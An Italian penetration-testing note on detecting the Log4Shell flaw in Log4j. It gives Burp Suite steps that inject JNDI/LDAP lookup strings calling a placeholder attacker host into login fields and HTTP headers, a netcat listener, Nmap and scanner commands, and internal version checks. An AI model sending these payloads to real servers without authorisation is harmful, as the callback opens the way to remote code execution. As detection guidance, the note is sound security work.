tags: Log4Shell Web_server web_server_hacking Log4j Log4j_Identificazione


Cos’è?

Questa vulnerabilità è una delle più gravi riscontrate negli ultimi anni perchè permette di sfruttare la libreria Log4j di Java per ottenere accesso al web server con privilegi di root. Essendo Java un linguaggio molto utilizzato rende questa vulnerabilità molto efficace, le versioni sulle quali è possibile sfruttare questa vulnerabilità vanno dalla 2.0 alla 2.14.1 della libreria Log4j.

BurpSuite

Tramite BurpSuite possiamo intercettare le richieste fatte al server e modificare in seguito i parametri delle richieste per verificare la presenza di questa vulnerabilità, per prima cosa ci dobbiamo mettere in ascolto con Netcat:

nc -lvnp 9999

Ora possiamo catturare la richiesta e mandarla al reapeter dove modificheremo i parametri i questo modo:

 
#uname: Il server potrebbe loggare il nome utente tentato.
 
Prova a modificare `uname=panino` in `uname=${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/uname}`
 
#password: Meno probabile che venga loggata in chiaro, ma in un PoC tutto è possibile.
 
Prova a modificare `password=password` in `password=${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/password}`
 
#User-Agent: Un classico.
 
Modifica `User-Agent: Mozilla/5.0 ...` in `User-Agent: ${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/ua}`
 
#Referer:
 
Modifica `Referer: http://192.168.1.168:8080/` in `Referer: ${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/referer}`
 
#Cookie: Il server potrebbe loggare i valori dei cookie o l'intero header
 
Modifica `Cookie: JSESSIONID=...` in `Cookie: JSESSIONID=${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/cookie}`
 
#Accept-Language
 
Modifica `Accept-Language: en-US,en;q=0.9` in `Accept-Language: ${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/lang}`
 
#Origin 
 
Modifica `Origin: http://192.168.1.168:8080` in `Origin: ${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/origin}`
 

Se un parametro modificato ci restituisce una connessione con il nostro server Netcat (basta anche un simbolo non renderizzato) significa che quel parametro è vulnerabile.

Nmap

 
sudo nmap --script-updatedb
 
sudo nmap -p <PORTA_SERVER_LOG4J> --script http-vuln-cve2021-44228 --script-args log4shell.callback-server="<IP_ATTACCANTE>:9999" <IP_VITTIMA>
 
 

log4shell-detector

python log4j_detector.py -u "http://<IP_VITTIMA>:<PORTA>/percorso_app?param=val" --lhost <TUO_IP_ASCOLTO> --lport 1389 -vv

Log4j-scan

python3 log4j-scan.py -u http://target.com

Verifica interna

Identificare la versione di Log4j

La vulnerabilità Log4Shell (CVE-2021-44228) è presente nelle versioni:

  • Log4j 2.x da 2.0 a 2.14.1.

Per verificare:

  1. Controlla se l’applicazione o il sistema utilizza Log4j.
  2. Esamina i file .jar o le dipendenze di progetto. Usa comandi come:
find /path/to/application -name "log4j*"

Se hai accesso al codice, cerca riferimenti a org.apache.logging.log4j.

Verifica le dipendenza

  • Se hai accesso al codice sorgente o ai file dell’applicazione, cerca la libreria log4j-core nelle dipendenze (ad esempio, in un file pom.xml per Maven o build.gradle per Gradle).

  • Cerca file JAR come log4j-core-2.x.jar.

Verifica la versione di Log4j

  • Le versioni vulnerabili sono Log4j 2.x fino alla 2.14.1.

  • Se l’applicazione utilizza una versione vulnerabile, potrebbe essere esposta.